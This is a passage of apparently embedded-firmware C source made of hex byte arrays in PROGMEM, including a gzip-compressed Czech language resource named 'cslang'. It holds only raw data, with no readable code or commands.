0x69, 0xd0, 0x12, 0xc3, 0x94, 0x73, 0x28, 0x0e, 0x60, 0x62, 0x98, 0xd8, 0xa6, 0x35, 0x0b, 0xd1, 0x78, 0x4e, 0x6b, 0x01, 0x64, 0x58, 0x19, 0x04, 0xa7, 0x41, 0xa5, 0x28, 0x94, 0xcb, 0x96, 0x29, 0xf9, 0x40, 0x08, 0x63, 0x3b, 0xb0, 0x93, 0xda, 0x8d, 0x8e, 0x63, 0x09, 0x47, 0xbf, 0xd9, 0x3f, 0x3a, 0x38, 0xf8, 0x95, 0xd4, 0x97, 0x05, 0xb0, 0x30, 0x63, 0xf6, 0x09, 0x7e, 0xc9, 0x1a, 0xc6, 0xd6, 0x81, 0x5b, 0x0f, 0xc9, 0x79, 0x4e, 0xa8, 0x84, 0x54, 0x87, 0x87, 0x60, 0x5d, 0xfd, 0xb1, 0x65, 0x03, 0x44, 0xbe, 0xd9, 0x29, 0x4f, 0xdd, 0x03, 0x7c, 0xc3, 0xcd, 0x03, 0x12, 0xdc, 0x51, 0xfa, 0x9a, 0x0c, 0x4c, 0x90, 0xe0, 0xd0, 0x50, 0x26, 0x71, 0x9b, 0x94, 0x5b, 0x52, 0x86, 0xef, 0x6d, 0x22, 0xce, 0xf5, 0xb0, 0x33, 0xa2, 0x54, 0xea, 0x5a, 0x14, 0xce, 0xd9, 0x4a, 0x0a, 0x8e, 0xae, 0x41, 0x37, 0x85, 0xa4, 0xe3, 0x1f, 0x6f, 0x58, 0xef, 0xd0, 0x89, 0xec, 0x4a, 0x54, 0x24, 0xb3, 0xb4, 0x83, 0xb8, 0x53, 0xc6, 0x30, 0xc6, 0x6d, 0x41, 0x57, 0xaf, 0xd4, 0xe6, 0x9f, 0xc3, 0xda, 0xd8, 0x25, 0xff, 0x9c, 0xa1, 0xae, 0x0f, 0x85, 0x4b, 0x81, 0xac, 0x14, 0x03, 0x43, 0x34, 0x74, 0xdf, 0xb5, 0xe9, 0xaa, 0xad, 0x18, 0xa4, 0x77, 0xfd, 0x3c, 0x56, 0x13, 0x27, 0x61, 0x22, 0x8c, 0xde, 0x56, 0x6d, 0xd4, 0xbd, 0xbe, 0x23, 0x76, 0x44, 0xb2, 0xc8, 0x35, 0x5b, 0x02, 0x8f, 0xc6, 0x0b, 0xf5, 0xbe, 0x42, 0x5f, 0xd1, 0xb5, 0x72, 0x91, 0x30, 0x27, 0x45, 0x83, 0x60, 0x28, 0x43, 0x5e, 0x67, 0x42, 0x7c, 0x2a, 0x17, 0x23, 0x91, 0xd6, 0xc3, 0x96, 0x5e, 0xaf, 0x37, 0x3f, 0x84, 0xa4, 0x0e, 0xf1, 0x1d, 0x6b, 0x42, 0xf0, 0x6d, 0x6a, 0x91, 0xf4, 0x77, 0x2d, 0x98, 0x76, 0x07, 0x42, 0xb0, 0x9d, 0xad, 0xdd, 0x16, 0xea, 0xe5, 0xca, 0x7c, 0x91, 0x9c, 0x1a, 0x4c, 0x6e, 0x27, 0xee, 0x8f, 0x60, 0x89, 0x77, 0xe3, 0x97, 0x6d, 0x45, 0x56, 0x0e, 0x26, 0x62, 0xb6, 0xb4, 0xcd, 0x2b, 0xe8, 0x2a, 0xf4, 0x0f, 0x9e, 0xa1, 0x3e, 0xf5, 0x16, 0x2c, 0x7d, 0xbc, 0x6d, 0x67, 0x93, 0x20, 0x14, 0x49, 0x54, 0x07, 0x5a, 0xf0, 0x7a, 0xbe, 0x9c, 0xd7, 0xe8, 0x70, 0x0c, 0xec, 0xee, 0xe5, 0x8e, 0x9c, 0x85, 0xc1, 0x01, 0xbd, 0x81, 0x22, 0x14, 0x87, 0xdb, 0x96, 0xb7, 0xb7, 0x0a, 0xe9, 0x5b, 0xa5, 0xb8, 0x80, 0xd3, 0x50, 0xca, 0x6d, 0x49, 0xfd, 0xda, 0xe6, 0x03, 0xe5, 0xd4, 0xd6, 0xe0, 0x6b, 0xd4, 0x03, 0x6a, 0x84, 0x0b, 0xbc, 0xf2, 0xb4, 0x06, 0xdc, 0x81, 0x9b, 0xbf, 0xad, 0x56, 0x91, 0x95, 0xf1, 0x85, 0x80, 0x4f, 0x30, 0x2e, 0xe5, 0xfa, 0x38, 0xad, 0x67, 0x33, 0xf0, 0xb2, 0x60, 0xa5, 0x3d, 0x89, 0x2c, 0x91, 0x38, 0x2f, 0xbd, 0x85, 0x19, 0x47, 0xdc, 0x0e, 0x21, 0x21, 0xca, 0x1a, 0xe4, 0x72, 0x7d, 0x34, 0x3e, 0x80, 0x46, 0x4c, 0x84, 0xd2, 0x9a, 0x47, 0x34, 0x05, 0xed, 0x1b, 0xbb, 0x38, 0x10, 0x29, 0xe0, 0xb2, 0x05, 0x29, 0xe8, 0xc2, 0xb3, 0xcd, 0xa7, 0xdc, 0x2e, 0xdd, 0xfe, 0x82, 0x7a, 0xc4, 0xe1, 0xc9, 0x44, 0xb0, 0xf6, 0x54, 0xec, 0x5e, 0xc8, 0x8f, 0x1c, 0x91, 0x09, 0xf0, 0x70, 0xd8, 0xc6, 0xa8, 0xdd, 0xe1, 0x86, 0x8f, 0xf9, 0x92, 0x76, 0x8d, 0x05, 0x4f, 0xa0, 0xd2, 0x89, 0x59, 0x0b, 0x95, 0x92, 0x34, 0xa3, 0x46, 0xff, 0xe9, 0x61, 0xca, 0xa7, 0x06, 0x07, 0xd7, 0x3a, 0x84, 0x1b, 0xe7, 0x73, 0xe9, 0x33, 0xaa, 0x95, 0xfe, 0xd9, 0x87, 0xeb, 0x7b, 0x0e, 0x7f, 0xf6, 0xf9, 0xc3, 0x77, 0xdb, 0x23, 0x09, 0x8c, 0x0e, 0x03, 0xe5, 0xd4, 0x2d, 0x95, 0x1a, 0xee, 0x5d, 0xd9, 0x3c, 0x37, 0xec, 0xaa, 0x8b, 0x0c, 0x05, 0x9b, 0x10, 0xe8, 0xe7, 0xda, 0x6c, 0xa8, 0x93, 0xae, 0xa9, 0x62, 0x01, 0x45, 0x1b, 0x69, 0x28, 0xba, 0xfa, 0xc8, 0x07, 0xd0, 0x4b, 0x5c, 0x87, 0x67, 0x0b, 0x91, 0x6e, 0xed, 0x9e, 0xfa, 0xb0, 0x68, 0x54, 0x18, 0xd7, 0xb5, 0x48, 0x89, 0x54, 0x22, 0x6f, 0x91, 0xb6, 0xd3, 0x8a, 0x72, 0xf3, 0x01, 0x91, 0xe9, 0x3a, 0x62, 0x8d, 0x5e, 0xba, 0xc7, 0x86, 0x41, 0xe6, 0x9a, 0x5d, 0xae, 0x75, 0xff, 0x61, 0x5d, 0x4b, 0x77, 0xb7, 0x2f, 0x1a, 0x11, 0xa4, 0x97, 0xd0, 0x02, 0x59, 0x82, 0xac, 0x07, 0xd4, 0x8c, 0xe4, 0x4e, 0xf7, 0x2b, 0x34, 0x14, 0x4f, 0xaa, 0x14, 0xfa, 0xcf, 0x83, 0xab, 0xa4, 0x46, 0x26, 0x84, 0xbb, 0xb5, 0x73, 0x9b, 0xd2, 0xa1, 0xe1, 0xd6, 0x57, 0x50, 0xcc, 0xb5, 0x4d, 0xdf, 0x6e, 0x8e, 0x64, 0x60, 0xd4, 0x69, 0x82, 0x07, 0x4a, 0x5b, 0x70, 0x50, 0x1a, 0x47, 0xa0, 0x96, 0x52, 0x89, 0x96, 0x40, 0x8b, 0x74, 0x1d, 0x84, 0x00, 0xcf, 0x3c, 0xc4, 0x18, 0xc7, 0x49, 0x44, 0xb7, 0x06, 0xa8, 0x23, 0x77, 0x04, 0x7e, 0x94, 0x44, 0xec, 0x72, 0x91, 0x33, 0xc2, 0x8a, 0x05, 0xf6, 0xed, 0xc7, 0x91, 0xd2, 0xc1, 0x4e, 0x16, 0x32, 0xd3, 0x7b, 0xf0, 0x4e, 0xf2, 0x19, 0x67, 0x81, 0x32, 0xd3, 0xf8, 0x2e, 0xd7, 0xfb, 0x21, 0xce, 0x5f, 0xf2, 0x8e, 0x14, 0xd1, 0x70, 0x4b, 0x3f, 0xba, 0x47, 0xea, 0x69, 0xb6, 0x72, 0x3b, 0x92, 0xb7, 0x06, 0xe2, 0x76, 0x86, 0x67, 0x41, 0xa6, 0x0a, 0xdc, 0x80, 0x50, 0x45, 0x99, 0x13, 0xe4, 0xf2, 0x34, 0xe6, 0x8e, 0x0e, 0x83, 0x03, 0x6e, 0xcc, 0xfc, 0x41, 0x9d, 0xf1, 0xed, 0xce, 0xe2, 0x69, 0x6d, 0x17, 0x8b, 0xb0, 0x13, 0x85, 0xd3, 0xcb, 0xf3, 0xb3, 0xb3, 0xa9, 0x04, 0x00, 0x4f, 0x07, 0x08, 0xb8, 0x35, 0x48, 0x0b, 0x07, 0x1b, 0x14, 0xb9, 0x23, 0xa9, 0x90, 0xe6, 0x3d, 0x91, 0x01, 0xa5, 0x5b, 0x2f, 0x64, 0x9b, 0xba, 0xe1, 0xc7, 0x57, 0xbf, 0x79, 0xbe, 0x93, 0x02, 0xa5, 0xbe, 0xcd, 0x56, 0x29, 0xbe, 0x22, 0xb8, 0x50, 0x4a, 0xa2, 0x01, 0x98, 0x0a, 0xc4, 0xb4, 0x4a, 0xdb, 0x59, 0x02, 0xda, 0xd7, 0x13, 0xf5, 0x6b, 0x75, 0x78, 0x38, 0x52, 0xa7, 0xaf, 0xe9, 0xc7, 0xd3, 0x91, 0xfa, 0x1d, 0xc2, 0x00, 0xa6, 0xc3, 0xc3, 0x2f, 0xd5, 0x73, 0x94, 0x18, 0x5b, 0xf0, 0x8a, 0xdd, 0x03, 0xb3, 0xc9, 0x25, 0x37, 0x02, 0x15, 0x7a, 0x34, 0x30, 0x27, 0xa7, 0x5e, 0x4c, 0x8e, 0x53, 0x68, 0x88, 0xd4, 0x94, 0x27, 0x61, 0x83, 0x4c, 0xc6, 0xa9, 0x17, 0x73, 0xd8, 0x7b, 0x6d, 0x62, 0x87, 0x6f, 0x06, 0x22, 0xba, 0x09, 0x6e, 0xe8, 0x07, 0x12, 0x28, 0x8d, 0xbb, 0x8b, 0xd8, 0x11, 0x15, 0x4d, 0x0f, 0xb9, 0xce, 0x3d, 0x78, 0x16, 0x55, 0x56, 0xbb, 0xe6, 0xfe, 0x97, 0x91, 0xe3, 0xce, 0x25, 0xa6, 0xcd, 0xff, 0x78, 0x89, 0xbe, 0xed, 0xff, 0xbf, 0xaa, 0x9f, 0x0c, 0x17, 0x3e, 0xa7, 0x78, 0xb6, 0x1a, 0x4c, 0x94, 0x1e, 0x44, 0x9c, 0x7e, 0xb2, 0xd2, 0x0a, 0xc9, 0x2c, 0xb6, 0xf3, 0x62, 0xeb, 0x7b, 0xa0, 0x15, 0xda, 0x01, 0x84, 0x8d, 0x6c, 0x36, 0x18, 0x41, 0xcf, 0x26, 0x0d, 0x9f, 0x4e, 0x9f, 0x55, 0x0c, 0xcb, 0x3b, 0x28, 0x8c, 0x46, 0x42, 0x9a, 0xea, 0x30, 0x8c, 0xc3, 0x8f, 0x55, 0x8c, 0xc3, 0xcf, 0x75, 0x05, 0x0f, 0x8c, 0x5b, 0xa4, 0xc6, 0x70, 0xa9, 0xf7, 0x71, 0x14, 0x94, 0xba, 0x25, 0x69, 0xe3, 0x87, 0x18, 0xcd, 0x43, 0x85, 0x66, 0x0b, 0x84, 0x13, 0x06, 0x36, 0xb2, 0x76, 0xd3, 0x01, 0xd8, 0xe3, 0x04, 0x15, 0x9f, 0x6c, 0xbb, 0xfb, 0xc0, 0x1c, 0xb9, 0x9f, 0xd7, 0xdb, 0x3c, 0x62, 0xb5, 0x26, 0x5d, 0xd9, 0xb3, 0x5c, 0x8d, 0x09, 0xec, 0x22, 0xd4, 0x89, 0x46, 0x11, 0x21, 0x65, 0x06, 0x3f, 0x50, 0x06, 0xdd, 0x6c, 0x66, 0x40, 0x9c, 0xbe, 0x8b, 0x03, 0x31, 0x6a, 0x11, 0x1a, 0x58, 0x99, 0xee, 0xcf, 0xce, 0x65, 0x93, 0x44, 0x52, 0x0c, 0x3f, 0x09, 0x13, 0xde, 0x9e, 0xc2, 0x64, 0x8b, 0x0a, 0x4c, 0xec, 0x8f, 0xd9, 0x2f, 0xa1, 0x63, 0x68, 0x34, 0xae, 0x7c, 0xdb, 0xf5, 0xcf, 0xc4, 0x2c, 0xe3, 0x50, 0x79, 0x67, 0xc2, 0xa0, 0xe2, 0xac, 0x00, 0x7d, 0x88, 0xc1, 0xea, 0xac, 0x05, 0x19, 0x20, 0x9e, 0x79, 0xdc, 0x12, 0xce, 0x53, 0x00, 0x85, 0x70, 0x87, 0x70, 0xc9, 0xf0, 0xc8, 0x79, 0x9e, 0x21, 0xa6, 0x45, 0x52, 0x14, 0x29, 0xd8, 0x45, 0x34, 0x80, 0x93, 0xb6, 0x9d, 0x38, 0x2c, 0xe8, 0x23, 0xe5, 0x47, 0xa7, 0x6f, 0x04, 0x21, 0x54, 0x99, 0xa3, 0xaf, 0xbe, 0x1a, 0xa2, 0xb7, 0x74, 0x98, 0x34, 0x33, 0x90, 0x61, 0x61, 0x6f, 0x1a, 0x17, 0xfa, 0x3f, 0xbd, 0xdc, 0x1b, 0x2a, 0xf2, 0x0e, 0xb9, 0x0d, 0xee, 0xd2, 0x11, 0xc3, 0x9e, 0x8c, 0x77, 0x1d, 0x08, 0x83, 0x7e, 0xec, 0xb6, 0xc6, 0xf7, 0x9c, 0x7b, 0x65, 0x74, 0x10, 0x42, 0x7a, 0xd1, 0xd1, 0x47, 0x6e, 0x12, 0xf4, 0xfb, 0x44, 0x16, 0x39, 0x98, 0xd0, 0xba, 0x0b, 0xdc, 0xbe, 0x0b, 0xe8, 0xa2, 0x4e, 0xce, 0x8a, 0x03, 0x0b, 0x9e, 0x93, 0xa5, 0x46, 0x12, 0xed, 0x49, 0x03, 0x66, 0xb8, 0x52, 0x75, 0xfb, 0x0e, 0x5a, 0x02, 0x6d, 0x41, 0x8d, 0x75, 0xbe, 0x43, 0x97, 0xa5, 0xe3, 0x4a, 0x48, 0xdc, 0xb4, 0x67, 0x3e, 0xa3, 0x18, 0x28, 0xd8, 0xda, 0x17, 0x93, 0xa8, 0xde, 0xbd, 0x7d, 0x24, 0x8d, 0xee, 0xa4, 0xd5, 0x4c, 0x26, 0x66, 0xc9, 0x4d, 0xba, 0x66, 0xeb, 0x3e, 0x05, 0xce, 0x93, 0xe9, 0xef, 0xd4, 0x48, 0x85, 0xb7, 0x79, 0xac, 0xf0, 0x34, 0x6a, 0x05, 0x41, 0xb0, 0x1e, 0x2a, 0xb9, 0x61, 0x37, 0x68, 0xfc, 0xc0, 0x1f, 0xd1, 0x19, 0x31, 0xd7, 0xc6, 0xea, 0x8e, 0xa8, 0x85, 0x2e, 0xe8, 0xef, 0x45, 0xc9, 0x0c, 0x22, 0x1a, 0x07, 0x06, 0x3c, 0x3c, 0x38, 0x50, 0x25, 0x75, 0xfe, 0xaf, 0xcb, 0xe4, 0x33, 0x02, 0x8e, 0xe6, 0x47, 0x76, 0x59, 0x71, 0x4b, 0x23, 0x01, 0x48, 0xd0, 0x49, 0xd0, 0xc4, 0x7f, 0x7c, 0x31, 0x54, 0xf1, 0x69, 0xf6, 0x5f, 0xeb, 0x32, 0x49, 0x83, 0x91, 0xa2, 0x59, 0x1a, 0xc7, 0x75, 0x61, 0x88, 0xce, 0xf0, 0x4e, 0x01, 0x84, 0xed, 0xc8, 0x39, 0xe9, 0xde, 0x4c, 0xc5, 0xd3, 0x00, 0xc3, 0x71, 0xc0, 0xb4, 0xf1, 0x01, 0xa8, 0x1a, 0x1a, 0x50, 0x66, 0x35, 0xaf, 0xfe, 0xc4, 0x0d, 0x33, 0xcd, 0x58, 0xb0, 0x1e, 0x41, 0x42, 0x03, 0xd6, 0x64, 0x0a, 0x43, 0xd9, 0x85, 0x95, 0xa1, 0x04, 0x6e, 0xf7, 0xa3, 0x91, 0x08, 0x04, 0x5b, 0xb0, 0xdc, 0x6d, 0x45, 0x03, 0xfb, 0x2e, 0x3c, 0x34, 0x84, 0x1c, 0x76, 0x21, 0xf4, 0x32, 0x40, 0x03, 0x52, 0xbd, 0xcf, 0x30, 0x31, 0xd1, 0x00, 0x91, 0x87, 0x87, 0x6c, 0xfb, 0xdc, 0x7b, 0xb2, 0x8a, 0x7b, 0xc6, 0x21, 0x61, 0x89, 0x7f, 0x56, 0x3e, 0xcf, 0xad, 0xa3, 0x3f, 0x0b, 0xc7, 0x3e, 0xe3, 0x4e, 0x83, 0x80, 0xcd, 0x32, 0x57, 0x78, 0xd3, 0xff, 0x89, 0x93, 0x4b, 0x4d, 0x64, 0x43, 0x5c, 0x95, 0x44, 0x04, 0x18, 0x5c, 0x68, 0xcc, 0xa3, 0xbd, 0x2f, 0xfe, 0xfa, 0x1f, 0xe2, 0x5f, 0xfb, 0x28, 0xba, 0x1e, 0x00, 0x00};\nconst char cslang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x63, 0x73, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xa5, 0x59, 0x4d, 0x6f, 0xdc, 0xc8, 0x11, 0x3d, 0xc7, 0xbf, 0xa2, 0xad, 0x93, 0x0d, 0x48, 0x13, 0xc9, 0x9b, 0x5d, 0x38, 0x0b, 0xe4, 0xe0, 0x5d, 0xcb, 0x89, 0x56, 0xb1, 0x24, 0x58, 0xb2, 0x1c, 0x04, 0x06, 0x84, 0x26, 0xd9, 0xf2, 0xf4, 0x90, 0xec, 0x26, 0xc8, 0x26, 0xe5, 0x99, 0x20, 0x87, 0xdc, 0x72, 0x58, 0xff, 0x00, 0xc7, 0xa7, 0x39, 0xe4, 0xa0, 0x83, 0xe0, 0x43, 0x6e, 0x01, 0xe4, 0x0b, 0x67, 0xfe, 0x57, 0x5e, 0x55, 0x37, 0x39, 0x9c, 0x91, 0xbc, 0x08, 0x12, 0x43, 0xb0, 0x66, 0xfa, 0xab, 0xaa, 0xeb, 0xe3, 0xd5, 0xab, 0xd6, 0x5f, 0x1e, 0x08, 0xfc, 0xdb, 0xca, 0xa4, 0x79, 0xb7, 0xf5, 0xbd, 0xd8, 0x8a, 0xab, 0xad, 0x6d, 0x3f, 0x72, 0x25, 0x4b, 0xa3, 0xfd, 0xe0, 0xf9, 0xb3, 0x57, 0xc7, 0xe7, 0xed, 0xdf, 0x8e, 0xda, 0x0f, 0xdd, 0x64, 0xa2, 0xab, 0x38, 0x93, 0x3a, 0x57, 0x25, 0xcd, 0x9f, 0x29, 0xe3, 0xac, 0x28, 0x4a, 0x3b, 0x51, 0xa9, 0x13, 0x55, 0x66, 0xeb, 0xe5, 0x97, 0xf6, 0x46, 0x14, 0xb6, 0x9e, 0x29, 0x1a, 0x16, 0x4e, 0x55, 0xce, 0x36, 0x32, 0xc6, 0xa0, 0x14, 0x2a, 0xa9, 0x53, 0xb9, 0xf8, 0x60, 0xf0, 0xa5, 0x99, 0x62, 0xa5, 0x76, 0xed, 0xcd, 0xe8, 0xad, 0xd9, 0x3f, 0x3d, 0x79, 0xfa, 0xe4, 0xbb, 0xef, 0xb6, 0x85, 0x51, 0x91, 0x15, 0x13, 0x35, 0xb6, 0xe2, 0xf4, 0xf9, 0x21, 0xbe, 0xd1, 0xc2, 0xba, 0x5c, 0x7c, 0x50, 0xc6, 0xfa, 0xc3, 0x2c, 0x09, 0xb3, 0x61, 0xe7, 0x36, 0x8d, 0x61, 0xa0, 0x52, 0x22, 0xb7, 0x63, 0x5b, 0xe3, 0xcc, 0x2a, 0x9d, 0x3a, 0x63, 0x6b, 0x27, 0xe2, 0xf1, 0x34, 0x9a, 0x3e, 0x7c, 0x6b, 0xde, 0x9a, 0x13, 0x5e, 0x3e, 0x71, 0x0a, 0xaa, 0x0c, 0x75, 0x9d, 0x28, 0xc3, 0xfb, 0xb5, 0x68, 0x32, 0x59, 0x39, 0x88, 0xca, 0xc5, 0x4c, 0x2e, 0x3f, 0xb6, 0x37, 0x33, 0xc5, 0x5f, 0xa4, 0xa8, 0xda, 0x1b, 0x88, 0xc9, 0x57, 0xc7, 0xb4, 0x37, 0x4d, 0x3b, 0xcf, 0x95, 0x68, 0x64, 0xa6, 0x13, 0x52, 0xee, 0x8d, 0xde, 0x79, 0xa1, 0x45, 0x89, 0xc1, 0x18, 0xd7, 0xb5, 0x45, 0x25, 0x4d, 0x7b, 0x2d, 0x1a, 0x71, 0xb0, 0xbf, 0xbf, 0x2f, 0x9e, 0xee, 0x3e, 0x19, 0xed, 0xed, 0x89, 0xca, 0x49, 0x93, 0xc8, 0x32, 0xa9, 0x47, 0xe2, 0x48, 0x45, 0x99, 0x4d, 0xeb, 0x89, 0xca, 0xd5, 0xb6, 0x90, 0x46, 0xe3, 0x8a, 0x33, 0x59, 0xc9, 0x31, 0x8f, 0x88, 0x04, 0x77, 0xd7, 0xa6, 0xbd, 0x8d, 0xc7, 0xe2, 0xb2, 0x54, 0x69, 0xa3, 0x4c, 0xcc, 0xe6, 0x39, 0x59, 0x7e, 0x54, 0xc9, 0xea, 0xda, 0xb9, 0xa8, 0xb4, 0x98, 0xa5, 0xd6, 0xb8, 0xd2, 0x66, 0x35, 0x5d, 0xcc, 0xe6, 0x8a, 0x75, 0x16, 0x0d, 0xa9, 0xb6, 0x9c, 0xe3, 0xd3, 0x4c, 0xe5, 0x7a, 0xc4, 0x7a, 0x97, 0xb6, 0xa2, 0x3d, 0x46, 0xd9, 0x24, 0x95, 0x33, 0x5e, 0x6f, 0xe4, 0xa6, 0x2d, 0x64, 0x6a, 0x69, 0xf4, 0xed, 0x56, 0x59, 0x2f, 0xe7, 0x7a, 0xf1, 0x21, 0xad, 0xdf, 0x6e, 0x05, 0x77, 0xbc, 0xdd, 0x9a, 0xc8, 0x1c, 0xde, 0xa6, 0x81, 0x02, 0x67, 0xd8, 0xa2, 0x9d, 0xc3, 0x0a, 0xf0, 0x85, 0x28, 0x55, 0x3b, 0xcf, 0xa0, 0xb0, 0x68, 0xda, 0xdb, 0x99, 0x91, 0x39, 0xc6, 0xc6, 0x76, 0x75, 0x6c, 0xfd, 0x90, 0xcc, 0x96, 0xd6, 0x89, 0x70, 0x32, 0x15, 0x51, 0x9d, 0x28, 0x96, 0x9d, 0x60, 0x13, 0x74, 0x26, 0x6d, 0x10, 0x18, 0x6e, 0x9b, 0x3d, 0x81, 0x5d, 0x35, 0xab, 0x07, 0xc3, 0x2c, 0xbf, 0x28, 0x31, 0xa9, 0x68, 0xad, 0x8e, 0xa1, 0x43, 0x61, 0xe3, 0xb1, 0x2d, 0x74, 0x46, 0xf7, 0x39, 0xa9, 0xa3, 0x4c, 0xa7, 0x16, 0xf2, 0xe9, 0xba, 0x36, 0x22, 0xdb, 0x09, 0x8a, 0x8b, 0x7c, 0x20, 0x56, 0x44, 0x6a, 0x26, 0xe0, 0xc8, 0x39, 0x5c, 0x74, 0x8d, 0x58, 0x42, 0x58, 0x34, 0x8b, 0x4f, 0x2e, 0xf3, 0xe1, 0x34, 0x94, 0x82, 0x4d, 0xc9, 0xe2, 0x53, 0xd6, 0xce, 0x9d, 0x1a, 0x84, 0x6c, 0x0a, 0x11, 0xa6, 0xe6, 0x00, 0xab, 0x30, 0xd7, 0xd4, 0xb8, 0x38, 0xed, 0xc5, 0xb4, 0x84, 0x3e, 0x39, 0x2f, 0x47, 0x30, 0xd0, 0xf9, 0xb7, 0x30, 0x42, 0x55, 0x90, 0x0d, 0x53, 0x91, 0xc0, 0x76, 0xaa, 0xa1, 0xd8, 0xa9, 0x43, 0x4c, 0xe9, 0xd8, 0x35, 0x74, 0x4c, 0x6a, 0xf3, 0xda, 0x68, 0xb7, 0xf8, 0x84, 0x08, 0x13, 0x21, 0xb8, 0x22, 0x3b, 0xd1, 0xf4, 0x35, 0x53, 0x05, 0x7b, 0xac, 0x0b, 0x13, 0xc4, 0xd4, 0x8b, 0xde, 0x75, 0xb0, 0xec, 0x0d, 0x22, 0x4b, 0x9b, 0x4b, 0x5b, 0xe6, 0x9c, 0x44, 0x46, 0x36, 0xcb, 0xb9, 0xd3, 0x8d, 0x53, 0xdf, 0x23, 0x23, 0x7f, 0x35, 0x48, 0xc7, 0x9d, 0xa8, 0x76, 0xce, 0x1a, 0xca, 0x4a, 0x8a, 0x18, 0x64, 0x8d, 0xcb, 0x60, 0x47, 0x45, 0xc2, 0x3a, 0x1b, 0x92, 0xa7, 0xa0, 0xa4, 0xa8, 0x1b, 0x95, 0x28, 0x0a, 0x55, 0x3b, 0x33, 0x14, 0xd1, 0xd0, 0x89, 0x4f, 0x2b, 0x55, 0x66, 0x65, 0x42, 0x47, 0x1c, 0x47, 0xc6, 0x36, 0xda, 0xf1, 0x68, 0x15, 0x4b, 0x3e, 0xf6, 0x34, 0x45, 0x22, 0xc2, 0x65, 0x7e, 0xb0, 0xd2, 0x49, 0xc5, 0xa3, 0xa7, 0x07, 0xcf, 0x79, 0x44, 0x3a, 0x27, 0xe3, 0x94, 0xc7, 0xda, 0x7f, 0x38, 0x9b, 0x4e, 0xfd, 0x3a, 0xe5, 0x1c, 0xc0, 0x84, 0x87, 0x8f, 0x60, 0x14, 0xd9, 0xf4, 0xd2, 0xe8, 0x5a, 0x34, 0x7c, 0x40, 0xbf, 0xbb, 0x81, 0x8b, 0xaa, 0xf0, 0xd2, 0x0e, 0x8e, 0x5e, 0x1c, 0xe3, 0x17, 0x9f, 0x9c, 0x65, 0x0c, 0x46, 0x50, 0x9d, 0xbf, 0xc7, 0x63, 0x69, 0x8c, 0xe2, 0xb1, 0x43, 0x64, 0xdc, 0x3c, 0xf3, 0xa6, 0x50, 0x8d, 0x8e, 0x15, 0x0b, 0x7a, 0x9d, 0x59, 0xf8, 0x17, 0x33, 0xc3, 0x94, 0x0e, 0xea, 0x64, 0x2a, 0x76, 0x17, 0xe1, 0xc4, 0x63, 0x84, 0xed, 0xe2, 0x83, 0x76, 0xa2, 0xe9, 0x8e, 0x4e, 0xd4, 0xc6, 0x8a, 0xc4, 0xde, 0x59, 0x53, 0xaa, 0xdc, 0x36, 0x6a, 0xb5, 0xa2, 0x72, 0x25, 0x92, 0x79, 0xb0, 0x00, 0xb7, 0x74, 0xda, 0x9a, 0x0b, 0x32, 0xdc, 0x85, 0x83, 0x73, 0x68, 0xdd, 0xe2, 0x67, 0x59, 0x89, 0x8a, 0x4d, 0xe8, 0xc3, 0x97, 0x3c, 0x0e, 0x85, 0x79, 0x87, 0x51, 0x57, 0x6c, 0x20, 0xcc, 0xdd, 0xfa, 0x23, 0x60, 0xa7, 0xfe, 0x26, 0xc1, 0x0f, 0x32, 0x49, 0x82, 0x77, 0x75, 0x22, 0xfb, 0xa1, 0x0b, 0xaf, 0xb0, 0xe2, 0xb9, 0xc3, 0xcc, 0xb2, 0x8b, 0x10, 0xf4, 0x51, 0xc9, 0x60, 0x34, 0x94, 0x02, 0xad, 0xcb, 0xab, 0x52, 0x3b, 0xd5, 0x05, 0x09, 0x00, 0xcb, 0x9f, 0x43, 0x4a, 0x5e, 0x68, 0xe3, 0x54, 0x09, 0x6c, 0xeb, 0xb4, 0x25, 0x65, 0x44, 0x3f, 0xc8, 0x6a, 0xd6, 0x79, 0xe4, 0x81, 0x7f, 0xf1, 0x73, 0x7b, 0x03, 0xb8, 0xf7, 0x9b, 0x65, 0xf9, 0x4e, 0x39, 0x36, 0xfc, 0x8f, 0xed, 0x4d, 0xa6, 0xfa, 0xa0, 0xb9, 0xe8, 0x3c, 0xbc, 0x23, 0x0e, 0x29, 0xa9, 0x90, 0x85, 0x8c, 0x3e, 0x5d, 0x20, 0x21, 0x32, 0x9b, 0x29, 0xd0, 0x46, 0x11, 0x2a, 0xc9, 0xe5, 0x17, 0x0f, 0xe5, 0x09, 0xf0, 0x54, 0xfc, 0x71, 0xff, 0x39, 0xe6, 0x0a, 0xa3, 0xc4, 0x23, 0x86, 0x21, 0xcc, 0xcc, 0xf2, 0xc5, 0x27, 0xc3, 0x29, 0x00, 0x78, 0x43, 0x36, 0xdb, 0xfa, 0x31, 0x41, 0x92, 0xc3, 0x25, 0xd3, 0xe1, 0xe9, 0x21, 0x74, 0x91, 0x43, 0x3b, 0xe2, 0x0d, 0xf6, 0x36, 0x58, 0x50, 0xda, 0xd9, 0x98, 0xec, 0x71, 0x43, 0xa0, 0x06, 0x24, 0x12, 0xd1, 0xe2, 0xd3, 0x18, 0xa9, 0x41, 0xfe, 0xa8, 0x81, 0xbc, 0x95, 0xab, 0x0b, 0x58, 0x6b, 0x24, 0x7e, 0xf0, 0x30, 0x45, 0x8a, 0xd4, 0x08, 0x5d, 0x51, 0xc0, 0xd8, 0x05, 0x52, 0xd5, 0x89, 0x19, 0x4e, 0x25, 0x48, 0xdb, 0x11, 0xe7, 0x53, 0x18, 0x01, 0x8b, 0x00, 0x5c, 0x36, 0xc7, 0xff, 0x48, 0x25, 0x81, 0xdc, 0xcc, 0x30, 0xb9, 0x4a, 0x8d, 0xc1, 0xdd, 0x29, 0x91, 0xdb, 0x7f, 0x23, 0x23, 0x18, 0x04, 0xbb, 0xd2, 0x17, 0x30, 0xb8, 0x52, 0x0c, 0x9d, 0x94, 0x45, 0xac, 0xf1, 0x21, 0xec, 0x90, 0x40, 0x63, 0x1a, 0x10, 0xf9, 0xf2, 0x33, 0xe1, 0x54, 0x8e, 0x42, 0x44, 0xe5, 0xe1, 0x9b, 0x27, 0xd0, 0x42, 0xa6, 0xcb, 0xcf, 0xbc, 0xf2, 0xc4, 0xa2, 0xa0, 0x6a, 0xe4, 0x9c, 0xaf, 0x23, 0x05, 0xca, 0xc0, 0xf2, 0xef, 0x50, 0x8b, 0x8d, 0x41, 0x45, 0x10, 0xb6, 0x08, 0xe1, 0xd3, 0xad, 0x4f, 0x39, 0x3c, 0x7c, 0xf8, 0xb1, 0x80, 0x80, 0xca, 0xfe, 